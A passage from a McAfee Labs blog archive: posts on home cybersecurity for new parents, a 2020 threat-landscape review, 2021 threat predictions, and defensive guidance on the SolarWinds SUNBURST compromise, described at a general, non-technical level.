Category Archives: McAfee Labs

Two Pink Lines

Depending on your life experiences, the phrase (or country song by Eric Church) “two pink lines” may bring up a wide range of powerful emotions.    I suspect, like many fathers and expecting fathers, I will never forget the moment I found out my wife was pregnant.  You might recall what you were doing, or where you were and maybe even what you were thinking.   As a professional ethical hacker, I have been told many times – “You just think a little differently about things.”   I sure hope so, since that’s my day job and sure enough this experience wasn’t any different.  My brain immediately asked the question, “How am I going to ensure my family is protected from a wide range of cyberthreats?”   Having a newborn opens the door to all sorts of new technology and I would be a fool not to take advantage of all devices that makes parenting easier.   So how do we do this safely?

The A-B -C ‘s

The security industry has a well-known concept called the “principle of least privilege. “This simply means that you don’t give a piece of technology more permissions or access than it needs to perform its primary function.   This can be applied well beyond just technology that helps parents; however, for me it’s of extra importance when we talk about our kids.  One of the parenting classes I took preparing for our newborn suggested we use a baby tracking phone app.   This was an excellent idea, since I hate keeping track of anything on paper.  So I started looking at a few different apps for my phone and discovered one of them asked for permission to use “location services,” also known as GPS, along with access to my phone contacts.  This caused me to pause and ask: Why does an app to track my baby’s feeding schedule need to know where I am?  Why does it need to know who my friends are?   These are the types of questions parents should consider before just jumping into the hottest new app.  For me, I found a different, less popular app which has the same features, just with a little less access.

It’s not always as easy to just “find something else.”  In my house, “if momma ain’t happy, nobody is happy.”  So, when my wife decided on a specific breast pump that came with Bluetooth and is internet enabled, that’s the one she is going to use.   The app backs up all the usage data to a server in the cloud.   There are many ways that this can be accomplished securely, and it is not necessary a bad feature, but I didn’t feel this device benefited from being internet connected.   Therefore, I simply lowered its privileges by not allowing it internet access in the settings on her phone.  The device works perfectly fine, she can show the doctor the data from her phone, yet we have limited our online exposure and footprint just a little more.  This simple concept of least privilege can be applied almost everywhere and goes a long way to limiting your exposure to cyber threats.

Peek-A-Boo

I think one of the most sought after and used products for new parents is the baby monitor or baby camera.   As someone who has spent a fair amount of time hacking cameras (or cameras on wheels) this was a large area of concern for me.  Most cameras these days are internet connected and if not, you often lose the ability to view the feed on your phone, which is a huge benefit to parents.  So how, as parents, do we navigate this securely?  While there is no silver bullet here, there are a few things to consider.    For starters, there are still many baby cameras on the market that come with their own independent video screen.  They generally use Wi-Fi and are only accessible from home.  If this system works for you, use it.  It is always more secure to have a video system which is not externally accessible.   If you really want to be able to use your phone, consider the below.

  • Where is the recorded video and audio data being stored? This may not seem important if the device is internet connected anyway, but it can be.  If your camera data is being stored locally (DVR, SD card, network storage, etc.), then an attacker would need to hack your specific device to obtain this information.   If you combine this with good security hygiene such as a strong password and keeping your device updated, an attacker has to work very hard to access your camera data.  If we look at the alternative where your footage is stored in the cloud, and it becomes subject to a security breach, now your camera’s video content is collateral damage.  Large corporations are specifically targeted by cybercriminals because they provide a high ROI for the time spent on the attack; an individual practicing good cybersecurity hygiene becomes a much more difficult target providing less incentive for the attacker, thus becoming a less likely target.
  • Is the camera on the same network as the rest of your home? An often-overlooked security implication to many IoT devices, but especially cameras, is outside of the threat of spying, but rather the threat of a network entry point. If the camera itself is compromised it can be used as a pivot point to attack other devices on your network.  A simple way to reduce this risk is to utilize the “guest” network feature that comes by default on almost all home routers.   These guest networks are preset to be isolated from your main network and generally require little to no setup.  By simply attaching your cameras to your guest network, you can reduce the risk of a compromised camera leading a cybercriminal to the banking info on your laptop.

Background checks – Not only for babysitters

Most parents, especially new ones, like to ensure that anyone that watches their children is thoroughly vetted.  There are a ton of services out there to do this for babysitters and nannies, however it’s not always as easy for vetting the companies that create the devices we put in our homes.  So how do we determine what is safe?  My father used to tell me: “It’s how we respond to our mistakes that makes the difference.”  When researching a company or device, should you find that the device has been found to have a vulnerability, often the response time and accountability from the vendor can tell you if it’s a company you should be investing in. Some things to look for include:

  • Was the vulnerability quickly patched?
  • Are there unpatched bugs still?
  • Has a vendor self-reported flaws, fixed them and reported to the public they have been fixed?
  • Are there numerous outstanding bugs filed against a company or device?
  • Does the company not recognize the possibility of bugs in their products?

These answers can often be discovered on a company’s website or in release notes, which are generally attached to an update of a piece of software.   Take a minute to read the notes and see if the company is making security updates. You don’t need to understand all the details, just knowing they take security seriously enough to update frequently is important.  This can help tip the scales when deciding between devices or apps.

Remember, you can do this!

Through my preparation for becoming a new parent, I constantly read in books and was told by professionals, “Remember, you can do this!”  Cybersecurity in the context of being a parent is no different.  Every situation is different, and it is important to do what works with you and your family.  As parents, we shouldn’t be afraid to use all the cool new gadgets that are emerging on the market, but instead educate ourselves on how to limit our risk.  Which features do I need, which ones can I do without?   Remember always follow a vendor’s recommendations and best practices, and of course remember to breathe!

The post Two Pink Lines appeared first on McAfee Blogs.

A Year in Review: Threat Landscape for 2020

As we gratefully move forward into the year 2021, we have to recognise that 2020 was as tumultuous in the digital realm as it has in the physical world. From low level fraudsters leveraging the pandemic as a vehicle to trick victims into parting with money for non-existent PPE, to more capable actors using malware that has considerably less prevalence in targeted campaigns. All of which has been played out at a time of immense personal and professional difficulties for millions of us across the world.

Dealing with the noise

What started as a trickle of phishing campaigns and the occasional malicious app quickly turned to thousands of malicious URLs and more-than-capable threat actors leveraging our thirst for more information as an entry mechanism into systems across the world. There is no question that COVID was the dominant theme of threats for the year, and whilst the natural inclination will be to focus entirely on such threats it is important to recognise that there were also very capable actors operating during this time.

For the first time we made available a COVID-19 dashboard to complement our threat report to track the number of malicious files leveraging COVID as a potential lure.  What this allows is real time information on the prevalence of such campaigns, but also clarity about the most targeted sectors and geographies.  Looking at the statistics from the year clearly demonstrates that the overarching theme is that the volume of malicious content increased.

Whilst of course this a major concern, we must recognise that there were also more capable threat actors operating during this time.

Ransomware – A boom time

The latter part of 2020 saw headlines about increasing ransom demands and continued successes from ransomware groups. An indication as to the reason why was provided in early 2020 in a blog published by Thomas Roccia that revealed “The number of RDP ports exposed to the Internet has grown quickly, from roughly three million in January 2020 to more than four and a half million in March.”

With RDP a common entry vector used predominantly by post intrusion ransomware gangs, there appears some explanation as to the reason why we are seeing more victims in the latter part of 2020.   Indeed, in the same analysis from Thomas we find that the most common passwords deployed for RDP are hardly what we would regard as strong.

If we consider the broader landscape of RDP being more prevalent (we have to assume due to the immediate need for remote access due to the lockdowns across the globe), the use of weak credentials, then the success of ransomware groups become very evident.  Indeed, later in the year we detailed our research into the Netwalker ransomware group that reveals the innovation, affiliate recruitment and ultimately financial success they were able to gain during the second quarter of 2020.

A year of major vulnerabilities

The year also provided us with the added gifts of major vulnerabilities. In August, for example, there was a series of zero-day vulnerabilities in a widely used, low-level TCP/IP software library developed by Treck, Inc.  Known as Ripple 20, the affect to hundreds of millions of devices resulted in considerable concern related to the wider supply chain of devices that we depend upon. In collaboration with JSOF, the McAfee ATR team developed a Detection Logic and Signatures for organizations to detect these vulnerabilities.

Of course the big vulnerabilities did not end there; we had the pleasure of meeting BadNeighbour, Drovorub, and so many more. The almost seemingly endless stream of vulnerabilities with particularly high CVSS Scores has meant that the need to patch very high on the list of priorities.

The ‘sophisticated’ attacker

As we closed out 2020, we were presented with details of ‘nation states’ carrying out sophisticated attacks.   Whilst under normal circumstances such terminology is something that should be avoided, there is no question that the level of capability we witness from certain threat campaigns are a world away from the noisy COVID phishing scams.

In August of 2020, we released the MVISION Insights dashboard which provides a free top list of campaigns each week. This includes, most recently, tracking against the SUNBURST trojan detailed in the SolarWinds attack, or the tools stolen in the FireEye breach.   What this demonstrates is that whilst prevalence is a key talking point, there exists capable threat actors targeting organizations with real precision.

For example, the Operation North Star campaign in which the threat actors deployed an Allow and Block list of targets in order to limit those they would infect with a secondary implant.

The term sophisticated is overused, and attribution is often too quickly relegated to the category of nation state.  However, the revelations have demonstrated that there are those campaigns where the attack did use capabilities not altogether common and we are no doubt witnessing a level of innovation from threat groups that is making the challenge of defence harder.

What is clear is that 2020 was a challenging year, but as we try and conclude what 2021 has in store, we have to celebrate the good news stories.   From initiatives such as No More Ransom continuing to tackle ransomware, to the unprecedented accessibility of tools that we can all use to protect ourselves (e.g. please check ATR GitHub repo, but recognise there are more).

McAfee 2021 Threat Predictions

Our experts share their 2021 predictions for the new year and how to protect yourself and your enterprise.

Read Now

 

The post A Year in Review: Threat Landscape for 2020 appeared first on McAfee Blogs.

2021 Threat Predictions Report

The Year 2020 brought a historic pandemic and bad actors leveraging COVID-19-themed threats to test our security operations and our unprecedented shift to a remote work life. As we enter 2021, these concerns are still at the forefront, but we are also looking ahead to other cyber threats likely to confront us in the months and years ahead.  

The December 2020 revelations around the SUNBURST campaigns exploiting the SolarWinds Orion platform have revealed a new attack vector – the supply chain – that will continue to be exploited.   

The ever-increasing use of connected devices, apps and web services in our homes will also make us more susceptible to digital home break-ins. This threat is compounded by many individuals continuing to work from home, meaning this threat not only impacts the consumer and their families, but enterprises as well.   

Attacks on cloud platforms and users will evolve into a highly polarized state where they are either “mechanized and widespread” or “sophisticated and precisely handcrafted”. 

Mobile users will need to beware of phishing or smishing messages aimed at exploiting and defrauding them through mobile payment services. 

The use of QR codes has notably accelerated during the pandemic, raising the specter of a new generation of social engineering techniques that seek to exploit consumers and gain access to their personal data. 

Finally, the most sophisticated threat actors will increasingly use social networks to target high value individuals working in sensitive industry sectors and roles 

A new year offers hope and opportunities for consumers and enterprises, but also more cybersecurity challenges. I hope you find these helpful in planning your 2021 security strategies. 

–Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research 

Twitter @Raj_Samani 

2021 Predictions  

1.

Supply Chain Backdoor Techniques to Proliferate 

By Steve Grobman 

The revelations around the SolarWinds-SUNBURST espionage campaign will spark a proliferation in copycat supply chain attacks of this kind 

On December 13, 2020, the cybersecurity industry learned nation-state threat actors had compromised SolarWinds’s Orion IT monitoring and management software and used it to distribute a malicious software backdoor called SUNBURST to dozens of that company’s customers, including several high-profile U.S. government agencies.  

This SolarWinds-SUNBURST campaign is the first major supply chain attack of its kind and has been referred to by many as the “Cyber Pearl Harbor” that U.S. cybersecurity experts have been predicting for a decade and a half 

The campaign also represents a shift in tactics where nation state threat actors have employed a new weapon for cyber-espionage.  Just as the use of nuclear weapons at the end of WWII changed military strategy for the next 75 years, the use of a supply chain attack has changed the way we need to consider defense against cyber-attacks.   

This supply chain attack operated at the scale of a worm such as WannaCry in 2017, combined with the precision and lethality of the 2014 Sony Pictures or 2015 U.S. government Office of Personnel Management (OPM) attacks. 

Within hours of its discovery, the magnitude of the campaign became frighteningly clear to organizations responsible for U.S. national security, economic competitiveness, and even consumer privacy and security.  

It enables U.S. adversaries to steal all manners of information, from inter-governmental communications to national secrets. Attackers can, in turn, leverage this information to influence or impact U.S. policy through malicious leaks.  Every breached agency may have different secondary cyber backdoors planted, meaning that there is no single recipe to evict the intrusion across the federal government. 

While some may argue that government agencies are legitimate targets for nation-state spy craftthe campaign also impacted private companies. Unlike government networks which store classified information on isolated networks, private organizations often have critical intellectual property on networks with access to the internet.  Exactly what intellectual property or private data on employees has been stolen will be difficult to determine, and the full extent of the theft may never be known.  

This type of attack also poses a threat to individuals and their families given that in today’s highly interconnected homes, a breach of consumer electronics companies can result in attackers using their access to smart appliances such as TVs, virtual assistants, and smart phones to steal their information or act as a gateway to attack businesses while users are working remotely from home. 

What makes this type of attack so dangerous is that it uses trusted software to bypass cyber defensesinfiltrate victim organizations with the backdoor and allow the attacker to take any number of secondary steps. This could involve stealing data, destroying data, holding critical systems for ransom, orchestrating system malfunctions that result in kinetic damage, or simply implanting additional malicious content throughout the organization to stay in control even after the initial threat appears to have passed. 

McAfee believes the discovery of the SolarWinds-SUNBURST campaign will expose attack techniques that other malicious actors around the world will seek to duplicate in 2021 and beyond. 

 

2.

Hacking the Home to Hack the Office 

By Suhail Ansari, Dattatraya Kulkarni and Steve Povolny 

 The increasingly dense overlay of numerous connected devices, apps and web services used in our professional and private lives will grow the connected home’s attack surface to the point that it raises significant new risks for individuals and their employers. 

 While the threat to connected homes is not new, what is new is the emergence of increased functionality in both home and business devices, and the fact that these devices connect to each other more than ever before. Compounding this is the increase in remote work – meaning many of us are using these connected devices more than ever.  

In 2020, the global pandemic shifted employees from the office to the home, making the home environment a work environmentIn fact, since the onset of the coronavirus pandemic, McAfee Secure Home Platform device monitoring shows a 22% increase in the number of connected home devices globally and a 60% increase in the U.S. Over 70% of the traffic from these devices originated from smart phones, laptops, other PCs and TVs, and over 29% originated from IoT devices such as streaming devices, gaming consoles, wearables, and smart lights.  

McAfee saw cybercriminals increase their focus on the home attack surface with a surge in various phishing message schemes across communications channels. The number of malicious phishing links McAfee blocked grew over 21% from March to Novemberat an average of over 400 links per home.  

 This increase is significant and suggests a flood of phishing messages with malicious links entered home networks through devices with weaker security measures 

 Millions of individual employees have become responsible for their employer’s IT security in a home office filled with soft targetsunprotected devices from the kitchen, to the family room, to the bedroomMany of these home devices are “orphaned” in that their manufacturers fail to properly support them with security updates addressing new threats or vulnerabilities.  

This contrasts with a corporate office environment filled with devices “hardened” by enterprise-grade security measures. We now work with consumer-grade networking equipment configured by “us” and lacking the central management, regular software updates and security monitoring of the enterprise.   

Because of this, we believe cybercriminals will advance the home as an attack surface for campaigns targeting not only our families but also corporations. The hackers will take advantage of the home’s lack of regular firmware updates, lack of security mitigation features, weak privacy policies, vulnerability exploits, and user susceptibility to social engineering.  

By compromising the home environment, these malicious actors will launch a variety of attacks on corporate as well as consumer devices in 2021. 

 

3.

Attacks on Cloud Platforms Become Highly Mechanized and Handcrafted 

By Sandeep Chandana  

Attacks on cloud platforms will evolve into a highly polarized state where they are either “mechanized and widespread” or “targeted and precisely handcrafted”.  

The COVID-19 pandemic has also hastened the pace of the corporate IT transition to the cloudaccelerating the potential for new corporate cloud-related attack schemesWith increased cloud adoption and the large number of enterprises working from home, not only is there a growing number of cloud users but also a lot more data both in motion and being transacted.  

 McAfee cloud usage data from more than 30 million McAfee MVISION Cloud users worldwide shows a 50% increase overall in enterprise cloud use across all industries the first four months of 2020. Our analysis showed an increase across all cloud categories, usage of collaboration services such as Microsoft O365 by 123%, increase in use of business services such as Salesforce by 61% and the largest growth in collaboration services such as Cisco Webex (600%), Zoom (+350%), Microsoft Teams (+300%), and Slack (+200%). From January to April 2020, corporate cloud traffic from unmanaged devices increased 100% across all verticals.  

 During the same period, McAfee witnessed a surge in attacks on cloud accounts, an estimated 630% increase overall, with variations in the sectors that were targeted. Transportation led vertical industries with a 1,350% increase in cloud attacks, followed by education (+1,114%), government (+773%), manufacturing (+679%), financial services (+571%) and energy and utilities (+472%).  

 The increasing proportion of unmanaged devices accessing the enterprise cloud has effectively made home networks an extension of the enterprise infrastructure. Cybercriminals will develop new, highly mechanizedwidespread attacks for better efficacy against thousands of heterogenous home networks.  

 One example could be a widespread brute force attack against O365 users, where the attacker seeks to leverage stolen credentials and exploit users poor practice of re-using passwords across different platforms and applications. As many as 65% of users reuse the same password for multiple or all accounts according to a 2019 security survey conducted by Google. Where an attacker would traditionally need to manually encode first and last name combinations to find valid usernames, a learning algorithm could be used to predict O365 username patterns.  

 Additionally, cybercriminals could use AI and ML to bypass traditional network filtering technologies deployed to protect cloud instances. Instead of launching a classic brute force attack from compromised IPs until the IPs are blocked, resource optimization algorithms will be used to make sure the compromised IPs launch attacks against multiple services and sectors, to maximize the lifespan of compromised IPs used for the attacks. Distributed algorithms and reinforcement learning will be leveraged to identify attack plans primarily focused on avoiding account lockouts.   

McAfee also predicts that, as enterprise cloud security postures mature, attackers will be forced to handcraft highly targeted exploits for specific enterprises, users and applications.  

The recent Capital One breach was an example of an advanced attack of this kind. The attack was thoroughly cloud-native. It was sophisticated and intricate in that a number of vulnerabilities and misconfigurations across cloud applications (and infrastructure) were exploited and chained. It was not a matter of chance that the hackers were successful, as the attack was very well hand-crafted.  

 We believe attackers will start leveraging threat surfaces across devices, networks and the cloud in these ways in the months and years ahead. 

4.

New Mobile Payment Scams

By Suhail Ansari and Dattatraya Kulkarni 

As users become more and more reliant on mobile payments, cybercriminals will increasingly seek to exploit and defraud users with scam SMS phishing or smishing messages containing malicious payment URLs.  

 Mobile payments have become more and more popular as a convenient mechanism to conduct transactions. Worldpay Global Payments Report for 2020 estimated that 41% of payments today are on mobile devices, and this number looks to increase  at the expense of traditional credit and debit cards by 2023. An October 2020 study by Allied Market Research found that the global mobile payment market size was valued at $1.48 trillion in 2019, and is projected to reach $12.06 trillion by 2027, growing at a compound annual growth rate of 30.1% from 2020 to 2027.  

Additionally, the COVID-19 pandemic has driven the adoption of mobile payment methods higher as consumers have sought to avoid contact-based payments such as cash or physical credit cards.  

 But fraudsters have followed the money to mobile, pivoting from PC browsers and credit cards to mobile payments. According to research by RSA’s Fraud and Risk Intelligence team72% of cyber fraud activity involved the mobile channel in the fourth quarter of 2019. The researchers observed that this represented the highest percentage of fraud involving mobile apps in nearly two years and underscores a broader shift away from fraud involving web browsers on PCs. 

McAfee predicts there will be an increase in “receive”-based mobile payment exploits, where a user receives a phishing email, direct message or smishing message telling him that he can receive a paymenttransaction refund or cash prize by clicking on a malicious payment URL. Instead of receiving a payment, however, the user has been conned into sending a payment from his account.  

This could take shape in schemes where fraudsters set up a fake call center using a product return and servicing scam, where the actors send a link via email or SMS, offering a refund via a mobile payment app, but the user is unaware that they are agreeing to pay versus receiving a refund. The figures below show the fraudulent schemes in action.  

Mobile wallets are making efforts to make it easier for users to understand whether they are paying or receiving. Unfortunately, as the payment methods proliferate, fraudsters succeed in finding victims who either cannot distinguish credit from debit or can be prompted into quick action by smart social engineering.  

Governments and banks are making painstaking efforts to educate users to understand the use of one-time passwords (OTPs) and that they should not be shared. Adoption of frameworks such as caller ID authentication (also known as STIR/SHAKEN) help in ensuring that the caller ID is not masked by fraudsters, but they do not prevent a fraudster from registering an entity that has a name close to the genuine provider of service. 

In the same way that mobile apps have simplified the ability to conduct transactions, McAfee predicts the technology is making it easier to take advantage of the convenience for fraudulent purposes. 

5.

Qshing: QR Code Abuse in the Age of COVID 

By Suhail Ansari and Dattatraya Kulkarni 

Cybercriminals will seek new and ever cleverer ways to use social engineering and QR Code practices to gain access to consumer victims’ personal data. 

The global pandemic has created the need for all of us to operate and transact in all areas of our lives in a “contactless” way. Accordingly, it should come as no surprise that QR codes have emerged as a convenient input mechanism to make mobile transactions more efficient.  

QR code usage has proliferated into many areas, including payments, product marketing, packaging, restaurants, retail, and recreation just to name a few. QR codes are helping limit direct contact between businesses and consumers in every setting from restaurants to personal care salons, to fitness studios. They allow them to easily scan the code, shop for services or items offered, and easily purchase them.  

September 2020 survey by MobileIron found that 86% of respondents scanned a QR code over the course of the previous year and over half (54%) reported an increase in the use of such codes since the pandemic began. Respondents felt most secure using QR codes at restaurants or bars (46%) and retailers (38%). Two-thirds (67%) believe that the technology makes life easier in a touchless world and over half (58%) wish to see it used more broadly in the future.  

In just the area of discount coupons, an estimated 1.7 billion coupons using QR codes were scanned globally in 2017, and that number is expected to increase by a factor of three to 5.3 billion by 2022In just four years, from 2014 to 2018, the use of QR codes on consumer product packaging in Korea and Japan increased by 83%The use of QR codes in such “smart” packaging is increasing at an annual rate of 8% globally.  

In India, the governments Unique Identification Authority of India (UIDAI) uses QR codes in association with Aadhaar, India’s unique ID number, to enable readers to download citizens’ demographic information as well as their photographs. 

However, the technicalities of QR codes are something of a mystery to most users, and that makes them potentially dangerous if cybercriminals seek to exploit them to target victims.  

The MobileIron report found that whereas 69% of respondents believe they can distinguish a malicious URL based on its familiar text-based format, only 37% believe they can distinguish a malicious QR code using its unique dot pattern formatGiven that QR codes are designed precisely to hide the text of the URL, users find it difficult to identify and even suspect malicious QR codes. 

Almost two-thirds (61%) of respondents know that QR codes can open a URL and almost half (49%) know that a QR code can download an application. But fewer than one-third (31%) realize that a QR code can make a payment, cause a user to follow someone on social media (22%), or start a phone call (21%). A quarter of respondents admit scanning a QR code that did something unexpected (such as take them to a suspicious website), and 16% admitted that they were unsure if a QR code actually did what it was intended to do. 

It is therefore no surprise that QR codes have been used in phishing schemes to avoid anti-phishing solutions’ attempts to identify malicious URLs within email messagesThey can also be used on webpages or social media.  

In such schemes, victims scan fraudulent QRs and find themselves taken to malicious websites where they are asked to provide login, personal info, usernames and passwords, and payment information, which criminals then steal. The sites could also be used to simply download malicious programs onto a user’s device.  

McAfee predicts that hackers will increasingly use these QR code schemes and broaden them using social engineering techniques. For instance, knowing that business owners are looking to download QR code generator apps, bad actors will entice consumers into downloading malicious QR code generator apps that pretend to do the same. In the process of generating the QR code (or even pretending to be generating the correct QR code), the malicious apps will steal the victim’s sensitive data, which scammers could then use for a variety of fraudulent purposes.  

Although the QR codes themselves are a secure and convenient mechanism, we expect them to be misused by bad actors in 2021 and beyond. 

6.

Social Networks as Workplace Attack Vectors  

By Raj Samani 

McAfee predicts that sophisticated cyber adversaries will increasingly target, engage and compromise corporate victims using social networks as an attack vector.  

Cyber adversaries have traditionally relied heavily on phishing emails as an attack vector for compromising organizations through individual employees. However, as organizations have implemented spam detection, data loss prevention (DLP) and other solutions to prevent phishing attempts on corporate email accounts, more sophisticated adversaries are pivoting to target employees through social networking platforms to which these increasingly effective defenses cannot be applied. 

McAfee has observed such threat actors increasingly using the messaging features of LinkedIn, What’s App, Facebook and Twitter to engage, develop relationships with and then compromise corporate employees. Through these victims, adversaries compromise the broader enterprises that employ them. McAfee predicts that such actors will seek to broaden the use of this attack vector in 2021 and beyond for a variety of reasons.  

Malicious actors have used the social network platforms in broad scoped schemes to perpetrate relatively low-level criminal scams. However, prominent actors such as APT34Charming Kitten, and Threat Group-2889 (among others) have been identified using these platforms for higher-value, more targeted campaigns on the strength of the medium’s capacity for enabling customized content for specific types of victims.  

Operation North Star demonstrates state-of-the-art attack of this kind. Discovered and exposed by McAfee in August 2020, the campaign showed how lax social media privacy controls, ease of development and use of fake LinkedIn user accounts and job descriptions could be used to lure and attack defense sector employees. 

Just as individuals and organizations engage potential consumer customers on social platforms by gathering information, developing specialized content, and conducting targeted interactions with customers, malicious actors can similarly use these platform attributes to target high value employees with a deeper level of engagement.  

Additionally, individual employees engage with social networks in a capacity that straddles both their professional and personal lives. While enterprises assert security controls over corporate-issued devices and place restrictions on how consumer devices access corporate IT assets, user activity on social network platforms is not monitored or controlled in the same way. As mentioned, LinkedIn and Twitter direct messaging will not be the only vectors of concern for the corporate security operations center (SOC). 

While it is unlikely that email will ever be replaced as an attack vector, McAfee foresees this social network platform vector becoming more common in 2021 and beyond, particularly among the most advanced actors. 

 

The post 2021 Threat Predictions Report appeared first on McAfee Blogs.

How A Device to Cloud Architecture Defends Against the SolarWinds Supply Chain Compromise

In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SoalrWinds.Orion.Core.BusinessLayer.dll delivered as part of a digitally-signed Windows Installer Patch. The trojanized file delivers a backdoor, dubbed SUNBURST by FireEye (and Solorigate by Microsoft), that communicates to third-party servers for command and control and malicious file transfer giving the attacker a foothold on the affected system with elevated privileges. From there, additional actions on the objective, such as lateral movement and data exfiltration, are possible. Since release of the initial blog from FireEye, subsequent additional analysis by McAfee and the industry as well as alerts by CISA, we have seen the attack grow in size, breadth and complexity. We will continue to update defensive recommendation blogs like this as new details emerge.

The use of a compromised software supply chain as an Initial Access technique (T1195.002) is particularly dangerous as the attack uses assumed trusted paths and as such can go undetected for a long period. This attack leveraged several techniques, such as trusted software, signed code and stealthy hiding-in-plain-sight communication, allowing the attacker to evade even strong defenses and enjoy a long dwell before detection. The sophisticated nature of the attack suggests that an Advanced Persistent Threat (APT) Group is likely responsible. In fact, FireEye is tracking the group as UNC2452 and has released countermeasures to identify the initial SUNBURST backdoor. McAfee has also provided an intelligence summary within MVISION Insights and mitigation controls for the initial entry vectors are published in KB93861. For additional response actions, please view Part One of this blog series here. If you are using SolarWinds software, please refer to the company guidance here to check for vulnerable versions and patch information.

However, looking beyond the initial entry and containment actions, you should think about how you are prepared for this type of attack in the future. This is a sophisticated actor(s) who may use other techniques such as Spearphishing to gain access, then move around the corporate network and potentially steal intellectual property as was the case with FireEye. They will change techniques and tools, so you need to be ready. Our Advanced Threat Research team tracks over 700 APT and Cyber Crime campaigns so the potential for another threat actor to launch a similar attack is high. In this blog, we will take a specific look at the techniques used in the SolarWinds compromise and provide some guidance on how McAfee solutions could help you respond now and prepare for this type of threat in the future with an adaptable security capability for resilience.

Attack Chain Overview

In our first blog in this series, we provided some initial response guidance designed to disrupt the attack early in the Execution phase or look retrospectively on the endpoints or proxy logs for indicators of compromise. But as you can see in the attack timeline below, it started much earlier with purposeful and detailed preparation and includes multiple other steps. A couple of techniques speak volumes about the sophistication and planning involved in this campaign.

Figure 1: SUNBURST Attack Progression

First is the choice of entry vector. The attacker in this case compromised part of the software supply chain by weaponizing software by SolarWinds, a major brand of IT management software. While software supply chain compromises are not new, like the recent one affecting JavaScript, they are typically on a smaller scale or more quickly detected. More common initial access techniques involve Spearphishing or taking advantage of open remote services like RDP. While both take planning and effort, weaponizing software from a major technology company and going undetected in that process is no easy feat. Secondly, the calculated wait time before external communication and the custom Domain Generation Algorithm (DGA) indicate the attacker has a lot of patience and stealth capability. For more detailed analysis of these advanced techniques, see McAfee Labs additional analysis blog on the SUNBURST backdoor.

The attack also involves numerous post-exploitation actions such as command and control communication masquerading (T1001.003) as normal update traffic, additional payload transfers (T1105), system discovery, credential harvesting and potentially then movement to other systems, even cloud-hosted infrastructure systems. The goal of course is to disrupt or detect any stage of attack before the breakout point and hopefully before any real impact to the business. The breakout point is when an attacker has gained privileges and starts to move laterally within the business. At that point, it becomes very difficult but not impossible to disrupt or detect the activity. But you must act fast. The impact of the attack can vary. In one case, it could be loss of intellectual property, but in another case, destruction of critical systems or data could be the goal. Also, what if the attacker used other initial access techniques, such as Spearphishing (T1566), to deliver a similar backdoor? Would you be able to detect that activity or any of the follow actions? Our point is don’t just update the endpoint with the latest DAT and consider yourself secure. Look for other ways to disrupt or detect an attack throughout the whole attack chain, leveraging both prevention and detection capability and keeping the end goal in mind to reduce impact to the business. Also think about how you prepare. The attackers in this case spent a lot of time in preparation creating custom malware and infrastructure. How about your organization? Do you know what attackers might be targeting your organization? Do you know their tactics and techniques?

Staying Ahead with MVISION Insights

In the first hours of a new threat campaign, if the CIO or CISO asked you, “are we exposed to SUNBURST”, how long would it take you to answer that question? One place to turn is MVISION Insights. MVISION Insights combines McAfee’s Threat Intelligence research with telemetry from your endpoint controls to reduce your attack surface against emerging threats. MVISION Insights tracks over 700 APT and Cyber Crime campaigns as researched by McAfee’s ATR team, including the most recent, FireEye Red Team tool release and SolarWinds Supply Chain Compromise campaigns.

Figure 2: Getting details on the attack

In the beginning hours of a new threat response, you can use MVISION Insights to get a quick summary of the threat, view external resources, and a list of known indicators such as files, URLs, or IP addresses. The campaign summary saves you from some of the time-consuming task of combing multiple sites, downloading reports, and building out the broader picture. MVISION Insights provides critical pieces in one place allowing you to move quicker through the response process. The next question to answer, is this new attack a risk to my business? Insights can help you answer that question as well when you click on “Your Environment”.

Figure 3: Quick review of your exposure

Insights automatically correlates the indicators of compromise with Threat Events from McAfee ENS, allowing you to quickly asses if there is an immediate problem now. If you had a detection, you should immediately go to incident response. Insights reviews your endpoint control configuration to asses if you have the right content update deployed to potentially disrupt the threat. At this point, you are closer to answer the CIO question of “are we exposed”. I say closer because Insights provides only the endpoint protection view currently so you will need to review other controls you have in place to fully assess risk.

Figure 4: Detail review of your exposure

However, Insights also assesses your endpoint security posture against other advanced threat techniques, looking to see if you are getting the best value from ENS by leveraging signature, intelligence and behavior anomaly detection capability in the solution. This is important because the attackers will change tactics, using new entry techniques and tools, so your security posture must continuously adapt. And this is just one campaign. Insights is summarizing intelligence, surfacing detections and reducing your attack surface continuously, against 700 campaigns!

Review your Defensive Architecture

Mitigating risk from SUNBURST and similar sophisticated APT campaigns requires a security architecture that provides defense in depth and visibility throughout the entire attack chain. You should review your architecture and assess gaps either in technique visibility or protection capability. Below we have outlined where McAfee and partner solutions could be used to either disrupt or detect some of the attack techniques used in SUNBURST based on what we know today.

Figure 5:  Device to Cloud Security Architecture

While the attacker is no doubt sophisticated and stealthy, the multi-stage aspect of the attack presents opportunities to detect or stop at multiple points and perhaps even before the attack gains a foothold. We cover more about how to use McAfee EDR to search for or detect some of the techniques used in SUNBURST in next section. However, there are some other key cyber defense capabilities that may be overlooked in your organizations but are critical to having a chance at detection and mitigation. We highlight those in this section below.

Getting inside the attacker’s preparation

Normally this is beyond what most organizations have time to do. However, in this case, you need to gain any advantage. We discussed MVISION Insights above so here we will cover additional guidance. During the preparation phase of this attack, the attacker obtains infrastructure within the target geo to host their command and control server. During this phase, they also set the hostnames of their C2 servers to mimic target organization hostnames. A scan for your domain names on external IP blocks can reveal the attack formation. Open source tools such as Spiderfoot offer a number of plugins to gather and analyze such types of data. Passive DNS with combination of hosts communicating with unusual domain names also represent a window of detection whereby Advanced DNS Protection solutions such as from our SIA partner Infoblox can detect behavior-based DGA usage by malware and automatically block such DNS resolution requests.

Visibility on DNS

DNS queries often provide the first layers of insights into any type of C2 communication and data exfiltration. You should enable logging ideally at an upstream resolver(s) where you can see traffic from your entire infrastructure. More information can be found here for Windows DNS Servers and Linux Bind DNS Servers.  This could be forwarded to McAfee ESM/other SIEMs for analysis and correlation for detection of DGA-type activities.

NetFlow Logging

Being able to detect unusual flows should also be a priority for incident responders. Along with DNS queries, NetFlow data when combined with UBA provides a great source of detection, as the attackers’ use of VPS providers can be combined with user login data to detect an “impossible rate of travel event.”

Hunting for Indicators with MVISION EDR

As described in the defensive architecture, MVISION EDR plays a vital role in hunting for prevalence of indicators related to the SUNBURST backdoor and ensuing post compromise activity. The role of MVISION EDR becomes even more important due to the usage of manual OPSEC by the threat actor where what follows the initial breach is driven by how the threat actor is targeting the organisation.

Hunting for Presence of Malicious Files

